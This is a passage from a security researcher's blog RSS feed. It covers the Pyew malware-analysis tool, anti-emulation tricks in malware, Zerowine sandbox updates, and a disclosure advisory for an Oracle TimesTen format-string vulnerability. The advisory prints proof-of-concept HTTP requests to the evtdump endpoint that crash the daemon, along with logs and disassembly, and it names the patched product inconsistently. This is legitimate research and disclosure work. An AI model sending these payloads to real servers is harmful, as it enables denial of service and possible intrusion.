		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=80</guid>
		<description><![CDATA[Working in a disassembler with code analysis to speed up (graph) analysis of malware dumps (malware dumped from memory while running) I decided to write a tool using this core oriented to malware analysis and the result is Pyew! Pyew is a tool like radare or biew/hiew. It&#8217;s an hexadecimal viewer, disassembler for IA32 and [...]]]></description>
			<content:encoded><![CDATA[<p>Working in a disassembler with code analysis to speed up (graph) analysis of malware dumps (malware dumped from memory while running) I decided to write a tool using this core oriented to malware analysis and the result is <a href="http://code.google.com/p/pyew/">Pyew</a>!<br />
<span id="more-80"></span><br />
Pyew is a tool like <a href="http://www.radare.org" target="_blank">radare</a> or <a href="http://biew.sourceforge.net/" target="_blank">biew</a>/<a href="http://www.hiew.ru/" target="_blank">hiew</a>. It&#8217;s an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE &amp; ELF formats as well as other non executable formats, like OLE2 or PDF. In the <a href="http://code.google.com/p/pyew/" target="_blank">project&#8217;s page</a> you may find <a href="http://code.google.com/p/pyew/wiki/UsageExample" target="_blank">usage examples</a> (like the superficial analysis of some <a href="http://code.google.com/p/pyew/wiki/AnalysisMebroot" target="_blank">Mebroot dowloaders</a>) as well as the <a href="http://code.google.com/p/pyew/wiki/Features" target="_blank">features</a> of the version available for download as a package (however, I recommend you to download the bleeding edge version from the <a href="http://mercurial.selenic.com/" target="_blank">Mercurial</a> repository available <a href="http://code.google.com/p/pyew/source/checkout" target="_blank">here</a>).</p>
<p>Anyway, even when Pyew have a command line interface (and a graphical user interface is planned) it was written for batch analysis of malware. Let&#8217;s imagine the following situation: You need to analyze a bunch of malware samples, i.e. 1000 new samples. What would you do? Analyze all of them manually one per one? It&#8217;s better to write some sort of batch script to analyze the samples and get a simple report about the malwares. You may find in the <a href="http://code.google.com/p/pyew/w/list" target="_blank">wiki</a> of Pyew a <a href="http://code.google.com/p/pyew/wiki/BatchExample" target="_blank">batch script example</a> to check for some specific marks at the file header, get the API calls made at entry point or to get a list of uncommon mnemonics found in the entry point.</p>
<p>Just to show another example of Pyew in batch mode I will explain how to write a simple script to get mnemonics of instructions used commonly as antidebugs. Let&#8217;s start writting the script. First import the libraries we need:</p>
<pre lang="python">
from pyew_core import CPyew
</pre>
<p>We need to import the class CPyew from pyew_core (the kernel of Pyew). Next, write a code to handle the load of one file and, after the load, print the antidebugs found:</p>
<pre lang="python">import sys
from pyew_core import CPyew

filename = sys.argv[1]
pyew = CPyew(batch=True) # Specify that we're in batch mode
pyew.codeanalysis = True # Just in case, by default code analysis is always performed
pyew.loadFile(filename) # Load the file and read all the structures, perform code analysis, etc...

print pyew.antidebug</pre>
<p>That&#8217;s all! This simple script will take as input a file and will analyze it for mnemonics used as antidebug (like INT 3 or RDTSC). Now, it&#8217;s time to write a better script that takes a directory and recursively traverses every subdirectory to analyze all files. The final result is <a href="http://code.google.com/p/pyew/source/browse/batch_example.py">here</a></p>
<p><a href="http://code.google.com/p/pyew/source/browse/batch_example.py"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware Tricks I</title>
		<link>http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/</link>
		<comments>http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 21:57:42 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[pyew]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=76</guid>
		<description><![CDATA[Today, while analyzing a family of malwares (the familiy called by some vendors as &#8220;Krap&#8221;) I noticed a good and new, at least for me, antiemulation technique. What do you think this sample code does? some_func: ; Do stuff... start: push offset some_func jmp edx What is this? We&#8217;re pushing the address of the function [...]]]></description>
			<content:encoded><![CDATA[<p>Today, while analyzing a family of malwares (the familiy called by some vendors as &#8220;Krap&#8221;) I noticed a good and new, at least for me, antiemulation technique. What do you think this sample code does?</p>
<pre lang="asm">some_func:
  ; Do stuff...

start:
   push offset some_func
   jmp edx</pre>
<p><span id="more-76"></span><br />
What is this? We&#8217;re pushing the address of the function some_func in the stack and, after this, jumping unconditionally to the address contained at EDX. The question here is: What value has the EDX register before executing your first line of assembly code? You have the address of ntdll!KiFastSystemCallRet:</p>
<p style="text-align: center;">
<a href="http://joxeankoret.com/blog/wp-content/uploads/2009/12/anal_edx.png"><img class="size-medium wp-image-77 aligncenter" title="Value of EDX at the very first program\'s instruction" src="http://joxeankoret.com/blog/wp-content/uploads/2009/12/anal_edx-300x178.png" alt="" width="300" height="178" /></a></p>
<p>So, basically, we&#8217;re jumping to a return only function (see a detailed description of <a href="http://www.dumpanalysis.org/blog/index.php/2008/01/10/what-is-kifastsystemcallret/">KiFastSystemCallRet</a>) efectively returning into the &#8220;some_func&#8221; function. The emulators I tested, as in example, the Bochs Debugger module that comes with IDA Pro, initialize all the registers to 0: a cool trick! And the first time I see this.</p>
<p>The tricks I typically find in malware are undocumented (or non typical) API calls mixed with junk code, as the following example extracted from a Mebroot downloader:</p>
<pre lang="asm">
000013a7 PUSH 0x74327ebc
000013ac CALL KERNEL32.dll!WriteFile
000013b2 TEST EAX, EAX
000013b4 JZ 0x000013bb      ; 1
000013b6 JMP 0x0000108e     ; 2
000013bb PUSH 0x0
000013bd CALL KERNEL32.dll!DisconnectNamedPipe
</pre>
<p>Junk code using APIs relatively commons:</p>
<pre lang="asm">
00001c1f PUSH 0x0
00001c21 PUSH 0x0
00001c23 CALL SHLWAPI.dll!SHDeleteKeyA
00001c29 PUSH 0x100
00001c2e CALL msvcrt.dll!malloc
00001c34 ADD ESP, 0x4
00001c37 PUSH EAX
00001c38 CALL msvcrt.dll!free
00001c3e ADD ESP, 0x4
00001c41 PUSH 0x0
00001c43 CALL WINMM.dll!timeKillEvent
00001c49 PUSH 0x10005129
00001c4e LEA EAX, [EBP-0x20]
00001c51 PUSH EAX
00001c52 CALL USER32.dll!wsprintfA
00001c58 ADD ESP, 0x8
00001c5b PUSH 0x0
00001c5d CALL ADVAPI32.dll!RegCloseKey
00001c63 CALL ole32.dll!OleUninitialize
</pre>
<p>Very simple API calls not commonly emulated (extracted from the dropper of the rootkit TDSS):</p>
<pre lang="asm">
00000813 XOR ESI, ESI
00000815 PUSH ESI
00000816 MOV EAX, [0x40600c]        ; kernel32.dll!GetModuleHandleA
0000081d CALL EAX
0000081f (PUSH 0x74
00000821 MOV EAX, [0x406080]        ; msvcrt.dll!iscntrl
00000827 CALL EAX
00000829 POP ECX
0000082a TEST EAX, EAX
0000082c JNZ 0x000008ad     ; 1
00000832 PUSH 0x6d
00000834 PUSH 0x68
00000836 MOV EAX, [0x40607c]        ; msvcrt.dll!is_wctype
0000083d CALL EAX
</pre>
<p>Or strange x86 assembly instructions like multibyte NOPs with redundant prefixes and so on (found in some variants of Sality): </p>
<pre lang="asm">
f30f1f90909090. rep nop [eax+0x66909090]
</pre>
<p>I know it&#8217;s just one antiemulation trick and there are thousands of them but this trick is new (at least for me), special and cool!</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zerowine: Better reports, network conversations and bug fixes</title>
		<link>http://joxeankoret.com/blog/2009/02/10/zerowine-better-reports-network-conversations-and-bug-fixes/</link>
		<comments>http://joxeankoret.com/blog/2009/02/10/zerowine-better-reports-network-conversations-and-bug-fixes/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 10:05:59 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[antidebugging]]></category>
		<category><![CDATA[unpacking]]></category>
		<category><![CDATA[virtual machine detection]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=67</guid>
		<description><![CDATA[Single user version of Zerowine Yesterday I finished the (surely) last single-user version of Zerowine and added some interesting features to it. Many Zerowine users told me that the reports were very confusing and, yes, that&#8217;s true. I fixed this problem by adding new debugging channels to the currently latest stable version of Wine (1.1.10) [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Single user version of Zerowine</strong></p>
<p>Yesterday I finished the (surely) last single-user version of Zerowine and added some interesting features to it. Many Zerowine users told me that the reports were very confusing and, yes, that&#8217;s true. I fixed this problem by adding new debugging channels to the currently latest stable version of Wine (1.1.10) and, well, the reports now are less confusing and more readable. The new debugging channels I added to Wine are the following:</p>
<ol>
<li>humanmalware: This channel shows in human readable format what the malware is doing.</li>
<li>malware: Quite similar to the TRACE channel, but just logs the calls to APIs interesting for malware research.</li>
<li>malwaredump: This channel shows the network conversations.</li>
<li>malwarereg: Shows registry operations.</li>
<li>malwarelib: Shows what libraries the malware is loading/unloading.</li>
</ol>
<p>The following is an example report of running a malware in the sandbox with the latest features:</p>
<div id="attachment_68" class="wp-caption aligncenter" style="width: 300px"><a href="http://joxeankoret.com/blog/wp-content/uploads/2009/02/zerowine_channels1.png"><img class="size-medium wp-image-68" title="Zerowine reports with the new channels" src="http://joxeankoret.com/blog/wp-content/uploads/2009/02/zerowine_channels1-290x300.png" alt="Zerowine reports with the new channels" width="290" height="300" /></a><p class="wp-caption-text">Zerowine reports with the new channels</p></div>
<p>We can see how the malware connects to some remote web server, the HTTP query executed, the local file downloaded, etc&#8230; This in the &#8220;Report&#8221; section, in the &#8220;Signature&#8221; section we get just the &#8220;human readable&#8221; format of the report (as is normal, not as detailed as the &#8220;Report&#8221; section, however).</p>
<p>I also fixed various bugs (in both Wine and Zerowine) and Zerowine now is able to detect more anti-debugging techniques, to dump new malware formats and more <em>secure</em>. I removed some features in the patched version of Wine that are a bit insecure for malware analysis.</p>
<p>Well, and that&#8217;s all for the mono-user version (I will be releasing it this week, or at least I hope to do so). I will update this entry when the file I&#8217;m uploading to the Sourceforge.net finishes, and it&#8217;s very slow (really, a pain in the ass).</p>
<p><strong>Multiuser Version of Zerowine</strong></p>
<p>The new multi-user version of Zerowine will take a long while because it requires a lot of changes, however, many features are implemented right now (Queues, multiple malware analysis nodes, database support, etc&#8230;). The changes will be, mainly, architectural ones but not all. In example, I&#8217;m implementing right now new &#8220;engines&#8221; to analyze malware in other platforms: One IDA Pro based agent to execute the malware with the Bochs Debugger inside IDA, dump &amp; analyze it and get an unpacked IDB database.</p>
<p>Other (possible) agent I&#8217;m planning is a Windows hooker to analyze the malware in a real Windows box (but the problem that comes to my mind is how to clean the environment automatically after the malware execution&#8230;).</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/02/10/zerowine-better-reports-network-conversations-and-bug-fixes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Oracle TimesTen Remote Format String</title>
		<link>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/</link>
		<comments>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 08:35:24 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[advisories]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=41</guid>
		<description><![CDATA[Product Description Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management. Summary The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server. Affected versions [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Product Description</strong></p>
<p>Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.</p>
<p><strong>Summary</strong></p>
<p>The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.</p>
<p><strong>Affected versions</strong></p>
<p>Oracle TimesTen prior to version 7.0.5.1.0.</p>
<p><strong>Vulnerability</strong></p>
<p>Oracle TimesTen&#8217;s timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.</p>
<p>The command &#8220;evtdump&#8221; dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter &#8220;msg&#8221; is a text that will be printed to the log file before dumping the internal structure.</p>
<p>This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.</p>
<p>The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n</p>
<p>AT SERVER:</p>
<p>(&#8230;)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
(&#8230;)<br />
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)<br />
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)<br />
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL<br />
19:05:19.07 Info:    : 18225: ctlfilename :  &#8221;<br />
19:05:19.07 Info:    : 18225: lineno   :  0<br />
19:05:19.07 Info:    : 18225: nitems   :  7<br />
19:05:19.07 Info:    : 18225: maxitems :  32<br />
19:05:19.07 Info:    : 18225: cur_path :  (null)<br />
19:05:19.07 Info:    : 18225: lineno   :  0<br />
19:05:19.07 Info:    : 18225: items    :<br />
19:05:19.07 Info:    : 18225:   item # 0  :<br />
19:05:19.07 Info:    : 18225:     comp     : ALL<br />
19:05:19.07 Info:    : 18225:     level    : 3<br />
19:05:19.07 Info:    : 18225:     dsname   : (null)<br />
(&#8230;)</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0</p>
<p>AT SERVER:</p>
<p>(&#8230;)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)<br />
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)<br />
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL<br />
19:06:18.49 Info:    : 18225: ctlfilename :  &#8221;<br />
19:06:18.49 Info:    : 18225: lineno   :  0<br />
19:06:18.49 Info:    : 18225: nitems   :  7<br />
19:06:18.49 Info:    : 18225: maxitems :  32<br />
19:06:18.49 Info:    : 18225: cur_path :  (null)<br />
19:06:18.49 Info:    : 18225: lineno   :  0<br />
19:06:18.49 Info:    : 18225: items    :<br />
19:06:18.49 Info:    : 18225:   item # 0  :<br />
19:06:18.49 Info:    : 18225:     comp     : ALL<br />
19:06:18.49 Info:    : 18225:     level    : 3<br />
19:06:18.49 Info:    : 18225:     dsname   : (null)<br />
(&#8230;)</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%25n HTTP/1.0</p>
<p>AT SERVER:</p>
<p>(&#8230;)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting&#8230;<br />
19:07:39.54 Info:    : 18785: Listener terminating<br />
19:07:39.54 Info:    : 18785: Listener exited, termination finishing<br />
19:07:39.54 Info:    : 18785: Process termination complete<br />
19:07:39.59 Info:    : 18791: Listener terminating<br />
19:07:39.59 Info:    : 18782: Listener terminating<br />
19:07:39.59 Info:    : 18788: Listener terminating<br />
19:07:39.59 Info:    : 18791: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18791: Process termination complete<br />
19:07:39.59 Info:    : 18782: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18782: Process termination complete<br />
19:07:39.59 Info:    : 18788: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18788: Process termination complete<br />
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping<br />
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes<br />
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting<br />
(&#8230;)</p>
<p>The last msg parameter&#8217;s value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:</p>
<p>$ sudo /etc/init.d/tt_70 start &amp;<br />
(&#8230;)<br />
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`<br />
(&#8230;)<br />
(gdb) c<br />
(&#8230;)<br />
Program received signal SIGSEGV, Segmentation fault.<br />
[Switching to Thread -1223386192 (LWP 18980)]<br />
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6<br />
(gdb) where<br />
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6<br />
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6<br />
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so<br />
#3  0x0807689f in ttdLogDump ()<br />
#4  0x0805b138 in daHandler ()<br />
#5  0&#215;08073789 in handlerThread ()<br />
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0<br />
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6<br />
(gdb) i r<br />
eax            0&#215;0      0<br />
ecx            0&#215;4      4<br />
edx            0&#215;0      0<br />
ebx            0xb77bbadc       -1216628004<br />
esp            0xb71480c0       0xb71480c0<br />
ebp            0xb71486e0       0xb71486e0<br />
esi            0&#215;0      0<br />
edi            0xb714895c       -1223390884<br />
eip            0xb76cf5c6       0xb76cf5c6 &lt;vfprintf+14038&gt;<br />
(&#8230;)</p>
<p>The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend&#8217;s web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):</p>
<pre lang="asm">.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
(...)
.text:08076879                 lea     eax, [ebp+argRet]
.text:0807687C                 push    eax
.text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
.text:08076880                 push    0
.text:08076882                 push    100h
.text:08076887                 lea     esi, [ebp+buf]
.text:0807688D                 call    $+5
.text:08076892                 pop     ebx
.text:08076893                 add     ebx, 3217Ah
.text:08076899                 push    esi
.text:0807689A                 call    _ttc_vsnprintf</pre>
<p>The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the &#8220;msg&#8221; argument:</p>
<pre lang="sql">.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
.text:0001ADAA                                         ; opt_error+83p ...
.text:0001ADAA
(...)
.text:0001ADCE                 push    [ebp+arg]       ; arg
.text:0001ADD1                 push    [ebp+argFormat] ; format
.text:0001ADD4                 push    edi             ; maxlen
.text:0001ADD5                 push    eax             ; s
.text:0001ADD6                 call    _vsnprintf</pre>
<p><strong>Workaround</strong></p>
<p>None.</p>
<p><strong>Patch information</strong></p>
<p>Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.</p>
<p><strong>Contact Information</strong></p>
<p>The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com</p>
<p><strong>References</strong></p>
<p><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-004/" target="_blank">Oracle TimesTen evtDump Remote Format String</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5440" target="_blank">CVE-2008-5440</a></p>
<p><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank">Oracle Critical Patch Update January 2009</a></p>
<p><a href="http://www.joxeankoret.com" target="_blank">Professional Web</a></p>
<p><strong>Disclaimer</strong></p>
<p>The information in this advisory and any of its demonstrations is provided &#8220;as is&#8221; without any warranty of any kind.</p>
<p>I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
